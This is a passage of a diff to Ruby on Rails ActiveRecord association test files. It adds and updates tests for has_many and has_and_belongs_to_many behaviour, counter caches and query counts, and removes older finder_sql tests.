@@ -867,4 +837,69 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_create
+ rich_person = RichPerson.new
+
+ treasure = Treasure.new
+ treasure.rich_people << rich_person
+ treasure.valid?
+
+ assert_equal 1, treasure.rich_people.size
+ assert_nil rich_person.first_name, 'should not run associated person validation on create when validate: false'
+ end
+
+ def test_association_with_validate_false_does_not_run_associated_validation_callbacks_on_update
+ rich_person = RichPerson.create!
+ person_first_name = rich_person.first_name
+ assert_not_nil person_first_name
+
+ treasure = Treasure.new
+ treasure.rich_people << rich_person
+ treasure.valid?
+
+ assert_equal 1, treasure.rich_people.size
+ assert_equal person_first_name, rich_person.first_name, 'should not run associated person validation on update when validate: false'
+ end
+
+ def test_custom_join_table
+ assert_equal 'edges', Vertex.reflect_on_association(:sources).join_table
+ end
+
+ def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_namespaced_model
+ magazine = Publisher::Magazine.create
+ article = Publisher::Article.create
+ magazine.articles << article
+ magazine.save
+
+ assert_includes magazine.articles, article
+ end
+
+ def test_has_and_belongs_to_many_in_a_namespaced_model_pointing_to_a_non_namespaced_model
+ article = Publisher::Article.create
+ tag = Tag.create
+ article.tags << tag
+ article.save
+
+ assert_includes article.tags, tag
+ end
+
+ def test_redefine_habtm
+ child = SubDeveloper.new("name" => "Aredridel")
+ child.special_projects << SpecialProject.new("name" => "Special Project")
+ assert child.save, 'child object should be saved'
+ end
+
+ def test_habtm_with_reflection_using_class_name_and_fixtures
+ assert_not_nil Developer._reflections['shared_computers']
+ # Checking the fixture for named association is important here, because it's the only way
+ # we've been able to reproduce this bug
+ assert_not_nil File.read(File.expand_path("../../../fixtures/developers.yml", __FILE__)).index("shared_computers")
+ assert_equal developers(:david).shared_computers.first, computers(:laptop)
+ end
+
+ def test_with_symbol_class_name
+ assert_nothing_raised NoMethodError do
+ DeveloperWithSymbolClassName.new
+ end
+ end
end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index 7e6c7d5862..c075872617 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -1,5 +1,6 @@
require "cases/helper"
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/company'
require 'models/contract'
@@ -19,79 +20,16 @@ require 'models/line_item'
require 'models/car'
require 'models/bulb'
require 'models/engine'
-
-class HasManyAssociationsTestForCountWithFinderSql < ActiveRecord::TestCase
- class Invoice < ActiveRecord::Base
- ActiveSupport::Deprecation.silence do
- has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
- end
- end
- def test_should_fail
- assert_raise(ArgumentError) do
- Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
- end
- end
-end
-
-class HasManyAssociationsTestForCountWithCountSql < ActiveRecord::TestCase
- class Invoice < ActiveRecord::Base
- ActiveSupport::Deprecation.silence do
- has_many :custom_line_items, :class_name => 'LineItem', :counter_sql => "SELECT COUNT(*) line_items.* from line_items"
- end
- end
- def test_should_fail
- assert_raise(ArgumentError) do
- Invoice.create.custom_line_items.count(:conditions => {:amount => 0})
- end
- end
-end
-
-class HasManyAssociationsTestForCountWithVariousFinderSqls < ActiveRecord::TestCase
- class Invoice < ActiveRecord::Base
- ActiveSupport::Deprecation.silence do
- has_many :custom_line_items, :class_name => 'LineItem', :finder_sql => "SELECT DISTINCT line_items.amount from line_items"
- has_many :custom_full_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.invoice_id, line_items.amount from line_items"
- has_many :custom_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT * from line_items"
- has_many :custom_qualified_star_line_items, :class_name => 'LineItem', :finder_sql => "SELECT line_items.* from line_items"
- end
- end
-
- def test_should_count_distinct_results
- invoice = Invoice.new
- invoice.custom_line_items << LineItem.new(:amount => 0)
- invoice.custom_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 1, invoice.custom_line_items.count
- end
-
- def test_should_count_results_with_multiple_fields
- invoice = Invoice.new
- invoice.custom_full_line_items << LineItem.new(:amount => 0)
- invoice.custom_full_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 2, invoice.custom_full_line_items.count
- end
-
- def test_should_count_results_with_star
- invoice = Invoice.new
- invoice.custom_star_line_items << LineItem.new(:amount => 0)
- invoice.custom_star_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 2, invoice.custom_star_line_items.count
- end
-
- def test_should_count_results_with_qualified_star
- invoice = Invoice.new
- invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
- invoice.custom_qualified_star_line_items << LineItem.new(:amount => 0)
- invoice.save!
-
- assert_equal 2, invoice.custom_qualified_star_line_items.count
- end
-end
+require 'models/categorization'
+require 'models/minivan'
+require 'models/speedometer'
+require 'models/reference'
+require 'models/job'
+require 'models/college'
+require 'models/student'
+require 'models/pirate'
+require 'models/ship'
+require 'models/tyre'
class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCase
fixtures :authors, :posts, :comments
@@ -100,7 +38,7 @@ class HasManyAssociationsTestForReorderWithJoinDependency < ActiveRecord::TestCa
author = authors(:david)
# this can fail on adapters which require ORDER BY expressions to be included in the SELECT expression
# if the reorder clauses are not correctly handled
- assert author.posts_with_comments_sorted_by_comment_id.where('comments.id > 0').reorder('posts.comments_count DESC', 'posts.taggings_count DESC').last
+ assert author.posts_with_comments_sorted_by_comment_id.where('comments.id > 0').reorder('posts.comments_count DESC', 'posts.tags_count DESC').last
end
end
@@ -108,12 +46,70 @@ end
class HasManyAssociationsTest < ActiveRecord::TestCase
fixtures :accounts, :categories, :companies, :developers, :projects,
:developers_projects, :topics, :authors, :comments,
- :people, :posts, :readers, :taggings, :cars, :essays
+ :people, :posts, :readers, :taggings, :cars, :essays,
+ :categorizations, :jobs, :tags
def setup
Client.destroyed_client_ids.clear
end
+ def test_sti_subselect_count
+ tag = Tag.first
+ len = Post.tagged_with(tag.id).limit(10).size
+ assert_operator len, :>, 0
+ end
+
+ def test_anonymous_has_many
+ developer = Class.new(ActiveRecord::Base) {
+ self.table_name = 'developers'
+ dev = self
+
+ developer_project = Class.new(ActiveRecord::Base) {
+ self.table_name = 'developers_projects'
+ belongs_to :developer, :class => dev
+ }
+ has_many :developer_projects, :class => developer_project, :foreign_key => 'developer_id'
+ }
+ dev = developer.first
+ named = Developer.find(dev.id)
+ assert_operator dev.developer_projects.count, :>, 0
+ assert_equal named.projects.map(&:id).sort,
+ dev.developer_projects.map(&:project_id).sort
+ end
+
+ def test_default_scope_on_relations_is_not_cached
+ counter = 0
+ posts = Class.new(ActiveRecord::Base) {
+ self.table_name = 'posts'
+ self.inheritance_column = 'not_there'
+ post = self
+
+ comments = Class.new(ActiveRecord::Base) {
+ self.table_name = 'comments'
+ self.inheritance_column = 'not_there'
+ belongs_to :post, :class => post
+ default_scope -> {
+ counter += 1
+ where("id = :inc", :inc => counter)
+ }
+ }
+ has_many :comments, :class => comments, :foreign_key => 'post_id'
+ }
+ assert_equal 0, counter
+ post = posts.first
+ assert_equal 0, counter
+ sql = capture_sql { post.comments.to_a }
+ post.comments.reset
+ assert_not_equal sql, capture_sql { post.comments.to_a }
+ end
+
+ def test_has_many_build_with_options
+ college = College.create(name: 'UFMT')
+ Student.create(active: true, college_id: college.id, name: 'Sarah')
+
+ assert_equal college.students, Student.where(active: true, college_id: college.id)
+ end
+
def test_create_from_association_should_respect_default_scope
car = Car.create(:name => 'honda')
assert_equal 'honda', car.name
@@ -131,6 +127,13 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 'exotic', bulb.name
end
+ def test_build_from_association_should_respect_scope
+ author = Author.new
+
+ post = author.thinking_posts.build
+ assert_equal 'So I was thinking', post.title
+ end
+
def test_create_from_association_with_nil_values_should_work
car = Car.create(:name => 'honda')
@@ -144,6 +147,39 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal 'defaulty', bulb.name
end
+ def test_do_not_call_callbacks_for_delete_all
+ car = Car.create(:name => 'honda')
+ car.funky_bulbs.create!
+ assert_nothing_raised { car.reload.funky_bulbs.delete_all }
+ assert_equal 0, Bulb.count, "bulbs should have been deleted using :delete_all strategy"
+ end
+
+ def test_delete_all_on_association_is_the_same_as_not_loaded
+ author = authors :david
+ author.thinking_posts.create!(:body => "test")
+ author.reload
+ expected_sql = capture_sql { author.thinking_posts.delete_all }
+
+ author.thinking_posts.create!(:body => "test")
+ author.reload
+ author.thinking_posts.inspect
+ loaded_sql = capture_sql { author.thinking_posts.delete_all }
+ assert_equal(expected_sql, loaded_sql)
+ end
+
+ def test_delete_all_on_association_with_nil_dependency_is_the_same_as_not_loaded
+ author = authors :david
+ author.posts.create!(:title => "test", :body => "body")
+ author.reload
+ expected_sql = capture_sql { author.posts.delete_all }
+
+ author.posts.create!(:title => "test", :body => "body")
+ author.reload
+ author.posts.to_a
+ loaded_sql = capture_sql { author.posts.delete_all }
+ assert_equal(expected_sql, loaded_sql)
+ end
+
def test_building_the_associated_object_with_implicit_sti_base_class
firm = DependentFirm.new
company = firm.companies.build
@@ -172,6 +208,16 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::SubclassNotFound) { firm.companies.build(:type => "Account") }
end
+ test "building the association with an array" do
+ speedometer = Speedometer.new(speedometer_id: "a")
+ data = [{name: "first"}, {name: "second"}]
+ speedometer.minivans.build(data)
+
+ assert_equal 2, speedometer.minivans.size
+ assert speedometer.save
+ assert_equal ["first", "second"], speedometer.reload.minivans.map(&:name)
+ end
+
def test_association_keys_bypass_attribute_protection
car = Car.create(:name => 'honda')
@@ -243,6 +289,31 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
assert_no_queries do
+ bulbs.second()
+ bulbs.second({})
+ end
+
+ assert_no_queries do
+ bulbs.third()
+ bulbs.third({})
+ end
+
+ assert_no_queries do
+ bulbs.fourth()
+ bulbs.fourth({})
+ end
+
+ assert_no_queries do
+ bulbs.fifth()
+ bulbs.fifth({})
+ end
+
+ assert_no_queries do
+ bulbs.forty_two()
+ bulbs.forty_two({})
+ end
+
+ assert_no_queries do
bulbs.last()
bulbs.last({})
end
@@ -269,11 +340,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
# sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
def test_counting_with_counter_sql
- assert_equal 2, Firm.all.merge!(:order => "id").first.clients.count
+ assert_equal 3, Firm.all.merge!(:order => "id").first.clients.count
end
def test_counting
- assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count
+ assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count
end
def test_counting_with_single_hash
@@ -281,7 +352,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_counting_with_column_name_and_hash
- assert_equal 2, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
+ assert_equal 3, Firm.all.merge!(:order => "id").first.plain_clients.count(:name)
end
def test_counting_with_association_limit
@@ -291,27 +362,27 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_finding
- assert_equal 2, Firm.all.merge!(:order => "id").first.clients.length
+ assert_equal 3, Firm.all.merge!(:order => "id").first.clients.length
end
def test_finding_array_compatibility
- assert_equal 2, Firm.order(:id).find{|f| f.id > 0}.clients.length
+ assert_equal 3, Firm.order(:id).find{|f| f.id > 0}.clients.length
end
def test_find_many_with_merged_options
assert_equal 1, companies(:first_firm).limited_clients.size
assert_equal 1, companies(:first_firm).limited_clients.to_a.size
- assert_equal 2, companies(:first_firm).limited_clients.limit(nil).to_a.size
+ assert_equal 3, companies(:first_firm).limited_clients.limit(nil).to_a.size
end
- def test_find_should_prepend_to_association_order
+ def test_find_should_append_to_association_order
ordered_clients = companies(:first_firm).clients_sorted_desc.order('companies.id')
- assert_equal ['companies.id', 'id DESC'], ordered_clients.order_values
+ assert_equal ['id DESC', 'companies.id'], ordered_clients.order_values
end
def test_dynamic_find_should_respect_association_order
- assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
- assert_equal companies(:second_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
+ assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.where("type = 'Client'").first
+ assert_equal companies(:another_first_firm_client), companies(:first_firm).clients_sorted_desc.find_by_type('Client')
end
def test_cant_save_has_many_readonly_association
@@ -324,7 +395,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_finding_with_different_class_name_and_order
- assert_equal "Microsoft", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
+ assert_equal "Apex", Firm.all.merge!(:order => "id").first.clients_sorted_desc.first.name
end
def test_finding_with_foreign_key
@@ -343,42 +414,16 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal "Summit", Firm.all.merge!(:order => "id").first.clients_using_primary_key.first.name
end
- def test_finding_using_sql
- firm = Firm.order("id").first
- first_client = firm.clients_using_sql.first
- assert_not_nil first_client
- assert_equal "Microsoft", first_client.name
- assert_equal 1, firm.clients_using_sql.size
- assert_equal 1, Firm.order("id").first.clients_using_sql.size
- end
-
- def test_finding_using_sql_take_into_account_only_uniq_ids
- firm = Firm.order("id").first
- client = firm.clients_using_sql.first
- assert_equal client, firm.clients_using_sql.find(client.id, client.id)
- assert_equal client, firm.clients_using_sql.find(client.id, client.id.to_s)
- end
-
- def test_counting_using_sql
- assert_equal 1, Firm.order("id").first.clients_using_counter_sql.size
- assert Firm.order("id").first.clients_using_counter_sql.any?
- assert_equal 0, Firm.order("id").first.clients_using_zero_counter_sql.size
- assert !Firm.order("id").first.clients_using_zero_counter_sql.any?
- end
-
- def test_counting_non_existant_items_using_sql
- assert_equal 0, Firm.order("id").first.no_clients_using_counter_sql.size
- end
-
- def test_counting_using_finder_sql
- assert_equal 2, Firm.find(4).clients_using_sql.count
+ def test_update_all_on_association_accessed_before_save
+ firm = Firm.new(name: 'Firm')
+ firm.clients << Client.first
+ firm.save!
+ assert_equal firm.clients.count, firm.clients.update_all(description: 'Great!')
end
def test_belongs_to_sanity
c = Client.new
- assert_nil c.firm
-
- flunk "belongs_to failed if check" if c.firm
+ assert_nil c.firm, "belongs_to failed sanity check on new object"
end
def test_find_ids
@@ -401,25 +446,21 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::RecordNotFound) { firm.clients.find(2, 99) }
end
- def test_find_string_ids_when_using_finder_sql
- firm = Firm.order("id").first
+ def test_find_ids_and_inverse_of
+ force_signal37_to_load_all_clients_of_firm
- client = firm.clients_using_finder_sql.find("2")
+ firm = companies(:first_firm)
+ client = firm.clients_of_firm.find(3)
assert_kind_of Client, client
- client_ary = firm.clients_using_finder_sql.find(["2"])
+ client_ary = firm.clients_of_firm.find([3])
assert_kind_of Array, client_ary
assert_equal client, client_ary.first
-
- client_ary = firm.clients_using_finder_sql.find("2", "3")
- assert_kind_of Array, client_ary
- assert_equal 2, client_ary.size
- assert client_ary.include?(client)
end
def test_find_all
firm = Firm.all.merge!(:order => "id").first
- assert_equal 2, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
+ assert_equal 3, firm.clients.where("#{QUOTED_TYPE} = 'Client'").to_a.length
assert_equal 1, firm.clients.where("name = 'Summit'").to_a.length
end
@@ -428,7 +469,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert ! firm.clients.loaded?
- assert_queries(3) do
+ assert_queries(4) do
firm.clients.find_each(:batch_size => 1) {|c| assert_equal firm.id, c.firm_id }
end
@@ -498,15 +539,15 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_find_grouped
all_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1").to_a
grouped_clients_of_firm1 = Client.all.merge!(:where => "firm_id = 1", :group => "firm_id", :select => 'firm_id, count(id) as clients_count').to_a
- assert_equal 2, all_clients_of_firm1.size
+ assert_equal 3, all_clients_of_firm1.size
assert_equal 1, grouped_clients_of_firm1.size
end
def test_find_scoped_grouped
assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.size
assert_equal 1, companies(:first_firm).clients_grouped_by_firm_id.length
- assert_equal 2, companies(:first_firm).clients_grouped_by_name.size
- assert_equal 2, companies(:first_firm).clients_grouped_by_name.length
+ assert_equal 3, companies(:first_firm).clients_grouped_by_name.size
+ assert_equal 3, companies(:first_firm).clients_grouped_by_name.length
end
def test_find_scoped_grouped_having
@@ -519,38 +560,50 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_select_query_method
- assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys
+ assert_equal ['id', 'body'], posts(:welcome).comments.select(:id, :body).first.attributes.keys
+ end
+
+ def test_select_with_block
+ assert_equal [1], posts(:welcome).comments.select { |c| c.id == 1 }.map(&:id)
+ end
+
+ def test_select_without_foreign_key
+ assert_equal companies(:first_firm).accounts.first.credit_limit, companies(:first_firm).accounts.select(:credit_limit).first.credit_limit
end
def test_adding
force_signal37_to_load_all_clients_of_firm
natural = Client.new("name" => "Natural Company")
companies(:first_firm).clients_of_firm << natural
- assert_equal 2, companies(:first_firm).clients_of_firm.size # checking via the collection
- assert_equal 2, companies(:first_firm).clients_of_firm(true).size # checking using the db
+ assert_equal 3, companies(:first_firm).clients_of_firm.size # checking via the collection
+ assert_equal 3, companies(:first_firm).clients_of_firm(true).size # checking using the db
assert_equal natural, companies(:first_firm).clients_of_firm.last
end
def test_adding_using_create
first_firm = companies(:first_firm)
- assert_equal 2, first_firm.plain_clients.size
- first_firm.plain_clients.create(:name => "Natural Company")
- assert_equal 3, first_firm.plain_clients.length
assert_equal 3, first_firm.plain_clients.size
+ first_firm.plain_clients.create(:name => "Natural Company")
+ assert_equal 4, first_firm.plain_clients.length
+ assert_equal 4, first_firm.plain_clients.size
end
def test_create_with_bang_on_has_many_when_parent_is_new_raises
- assert_raise(ActiveRecord::RecordNotSaved) do
+ error = assert_raise(ActiveRecord::RecordNotSaved) do
firm = Firm.new
firm.plain_clients.create! :name=>"Whoever"
end
+
+ assert_equal "You cannot call create unless the parent is saved", error.message
end
def test_regular_create_on_has_many_when_parent_is_new_raises
- assert_raise(ActiveRecord::RecordNotSaved) do
+ error = assert_raise(ActiveRecord::RecordNotSaved) do
firm = Firm.new
firm.plain_clients.create :name=>"Whoever"
end
+
+ assert_equal "You cannot call create unless the parent is saved", error.message
end
def test_create_with_bang_on_has_many_raises_when_record_not_saved
@@ -561,9 +614,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_create_with_bang_on_habtm_when_parent_is_new_raises
- assert_raise(ActiveRecord::RecordNotSaved) do
+ error = assert_raise(ActiveRecord::RecordNotSaved) do
Developer.new("name" => "Aredridel").projects.create!
end
+
+ assert_equal "You cannot call create unless the parent is saved", error.message
end
def test_adding_a_mismatch_class
@@ -575,8 +630,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_adding_a_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.concat([Client.new("name" => "Natural Company"), Client.new("name" => "Apple")])
- assert_equal 3, companies(:first_firm).clients_of_firm.size
- assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 4, companies(:first_firm).clients_of_firm.size
+ assert_equal 4, companies(:first_firm).clients_of_firm(true).size
end
def test_transactions_when_adding_to_persisted
@@ -592,15 +647,22 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_transactions_when_adding_to_new_record
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
firm = Firm.new
firm.clients_of_firm.concat(Client.new("name" => "Natural Company"))
end
end
+ def test_inverse_on_before_validate
+ firm = companies(:first_firm)
+ assert_queries(1) do
+ firm.clients_of_firm << Client.new("name" => "Natural Company")
+ end
+ end
+
def test_new_aliased_to_build
company = companies(:first_firm)
- new_client = assert_no_queries { company.clients_of_firm.new("name" => "Another Client") }
+ new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.new("name" => "Another Client") }
assert !company.clients_of_firm.loaded?
assert_equal "Another Client", new_client.name
@@ -610,7 +672,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_build
company = companies(:first_firm)
- new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+ new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
assert !company.clients_of_firm.loaded?
assert_equal "Another Client", new_client.name
@@ -622,7 +684,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
company = companies(:first_firm) # company already has one client
company.clients_of_firm.build("name" => "Another Client")
company.clients_of_firm.build("name" => "Yet Another Client")
- assert_equal 3, company.clients_of_firm.size
+ assert_equal 4, company.clients_of_firm.size
+ end
+
+ def test_collection_not_empty_after_building
+ company = companies(:first_firm)
+ assert_predicate company.contracts, :empty?
+ company.contracts.build
+ assert_not_predicate company.contracts, :empty?
end
def test_collection_size_twice_for_regressions
@@ -639,7 +708,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_build_many
company = companies(:first_firm)
- new_clients = assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+ new_clients = assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
assert_equal 2, new_clients.size
end
@@ -665,7 +734,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_build_via_block
company = companies(:first_firm)
- new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+ new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build {|client| client.name = "Another Client" } }
assert !company.clients_of_firm.loaded?
assert_equal "Another Client", new_client.name
@@ -675,7 +744,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_build_many_via_block
company = companies(:first_firm)
- new_clients = assert_no_queries do
+ new_clients = assert_no_queries(ignore_none: false) do
company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
client.name = "changed"
end
@@ -691,14 +760,14 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
Firm.column_names
Client.column_names
- assert_equal 1, first_firm.clients_of_firm.size
+ assert_equal 2, first_firm.clients_of_firm.size
first_firm.clients_of_firm.reset
assert_queries(1) do
first_firm.clients_of_firm.create(:name => "Superstars")
end
- assert_equal 2, first_firm.clients_of_firm.size
+ assert_equal 3, first_firm.clients_of_firm.size
end
def test_create
@@ -711,7 +780,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_create_many
companies(:first_firm).clients_of_firm.create([{"name" => "Another Client"}, {"name" => "Another Client II"}])
- assert_equal 3, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 4, companies(:first_firm).clients_of_firm(true).size
end
def test_create_followed_by_save_does_not_load_target
@@ -723,8 +792,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_deleting
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.delete(companies(:first_firm).clients_of_firm.first)
- assert_equal 0, companies(:first_firm).clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 1, companies(:first_firm).clients_of_firm.size
+ assert_equal 1, companies(:first_firm).clients_of_firm(true).size
end
def test_deleting_before_save
@@ -744,17 +813,56 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal topic.replies.to_a.size, topic.replies_count
end
+ def test_counter_cache_updates_in_memory_after_concat
+ topic = Topic.create title: "Zoom-zoom-zoom"
+
+ topic.replies << Reply.create(title: "re: zoom", content: "speedy quick!")
+ assert_equal 1, topic.replies_count
+ assert_equal 1, topic.replies.size
+ assert_equal 1, topic.reload.replies.size
+ end
+
+ def test_counter_cache_updates_in_memory_after_create
+ topic = Topic.create title: "Zoom-zoom-zoom"
+
+ topic.replies.create!(title: "re: zoom", content: "speedy quick!")
+ assert_equal 1, topic.replies_count
+ assert_equal 1, topic.replies.size
+ assert_equal 1, topic.reload.replies.size
+ end
+
+ def test_counter_cache_updates_in_memory_after_create_with_array
+ topic = Topic.create title: "Zoom-zoom-zoom"
+
+ topic.replies.create!([
+ { title: "re: zoom", content: "speedy quick!" },
+ { title: "re: zoom 2", content: "OMG lol!" },
+ ])
+ assert_equal 2, topic.replies_count
+ assert_equal 2, topic.replies.size
+ assert_equal 2, topic.reload.replies.size
+ end
+
+ def test_pushing_association_updates_counter_cache
+ topic = Topic.order("id ASC").first
+ reply = Reply.create!
+
+ assert_difference "topic.reload.replies_count", 1 do
+ topic.replies << reply
+ end
+ end
+
def test_deleting_updates_counter_cache_without_dependent_option
post = posts(:welcome)
- assert_difference "post.reload.taggings_count", -1 do
+ assert_difference "post.reload.tags_count", -1 do
post.taggings.delete(post.taggings.first)
end
end
def test_deleting_updates_counter_cache_with_dependent_delete_all
post = posts(:welcome)
- post.update_columns(taggings_with_delete_all_count: post.taggings_count)
+ post.update_columns(taggings_with_delete_all_count: post.tags_count)
assert_difference "post.reload.taggings_with_delete_all_count", -1 do
post.taggings_with_delete_all.delete(post.taggings_with_delete_all.first)
@@ -763,13 +871,20 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_deleting_updates_counter_cache_with_dependent_destroy
post = posts(:welcome)
- post.update_columns(taggings_with_destroy_count: post.taggings_count)
+ post.update_columns(taggings_with_destroy_count: post.tags_count)
assert_difference "post.reload.taggings_with_destroy_count", -1 do
post.taggings_with_destroy.delete(post.taggings_with_destroy.first)
end
end
+ def test_calling_empty_with_counter_cache
+ post = posts(:welcome)
+ assert_queries(0) do
+ assert_not post.comments.empty?
+ end
+ end
+
def test_custom_named_counter_cache
topic = topics(:first)
@@ -778,30 +893,61 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
end
+ def test_calling_update_attributes_on_id_changes_the_counter_cache
+ topic = Topic.order("id ASC").first
+ original_count = topic.replies.to_a.size
+ assert_equal original_count, topic.replies_count
+
+ first_reply = topic.replies.first
+ first_reply.update_attributes(:parent_id => nil)
+ assert_equal original_count - 1, topic.reload.replies_count
+
+ first_reply.update_attributes(:parent_id => topic.id)
+ assert_equal original_count, topic.reload.replies_count
+ end
+
+ def test_calling_update_attributes_changing_ids_doesnt_change_counter_cache
+ topic1 = Topic.find(1)
+ topic2 = Topic.find(3)
+ original_count1 = topic1.replies.to_a.size
+ original_count2 = topic2.replies.to_a.size
+
+ reply1 = topic1.replies.first
+ reply2 = topic2.replies.first
+
+ reply1.update_attributes(:parent_id => topic2.id)
+ assert_equal original_count1 - 1, topic1.reload.replies_count
+ assert_equal original_count2 + 1, topic2.reload.replies_count
+
+ reply2.update_attributes(:parent_id => topic1.id)
+ assert_equal original_count1, topic1.reload.replies_count
+ assert_equal original_count2, topic2.reload.replies_count
+ end
+
def test_deleting_a_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- assert_equal 2, companies(:first_firm).clients_of_firm.size
- companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+ assert_equal 3, companies(:first_firm).clients_of_firm.size
+ companies(:first_firm).clients_of_firm.delete([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1], companies(:first_firm).clients_of_firm[2]])
assert_equal 0, companies(:first_firm).clients_of_firm.size
assert_equal 0, companies(:first_firm).clients_of_firm(true).size
end
def test_delete_all
force_signal37_to_load_all_clients_of_firm
- companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- clients = companies(:first_firm).clients_of_firm.to_a
- assert_equal 2, clients.count
- deleted = companies(:first_firm).clients_of_firm.delete_all
- assert_equal clients.sort_by(&:id), deleted.sort_by(&:id)
- assert_equal 0, companies(:first_firm).clients_of_firm.size
- assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+ companies(:first_firm).dependent_clients_of_firm.create("name" => "Another Client")
+ clients = companies(:first_firm).dependent_clients_of_firm.to_a
+ assert_equal 3, clients.count
+
+ assert_difference "Client.count", -(clients.count) do
+ companies(:first_firm).dependent_clients_of_firm.delete_all
+ end
end
def test_delete_all_with_not_yet_loaded_association_collection
force_signal37_to_load_all_clients_of_firm
companies(:first_firm).clients_of_firm.create("name" => "Another Client")
- assert_equal 2, companies(:first_firm).clients_of_firm.size
+ assert_equal 3, companies(:first_firm).clients_of_firm.size
companies(:first_firm).clients_of_firm.reset
companies(:first_firm).clients_of_firm.delete_all
assert_equal 0, companies(:first_firm).clients_of_firm.size
@@ -823,7 +969,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_transaction_when_deleting_new_record
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
firm = Firm.new
client = Client.new("name" => "New Client")
firm.clients_of_firm << client
@@ -834,7 +980,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_clearing_an_association_collection
firm = companies(:first_firm)
client_id = firm.clients_of_firm.first.id
- assert_equal 1, firm.clients_of_firm.size
+ assert_equal 2, firm.clients_of_firm.size
firm.clients_of_firm.clear
@@ -868,23 +1014,38 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_clearing_a_dependent_association_collection
firm = companies(:first_firm)
client_id = firm.dependent_clients_of_firm.first.id
- assert_equal 1, firm.dependent_clients_of_firm.size
+ assert_equal 2, firm.dependent_clients_of_firm.size
+ assert_equal 1, Client.find_by_id(client_id).client_of
- # :dependent means destroy is called on each client
+ # :delete_all is called on each client since the dependent options is :destroy
firm.dependent_clients_of_firm.clear
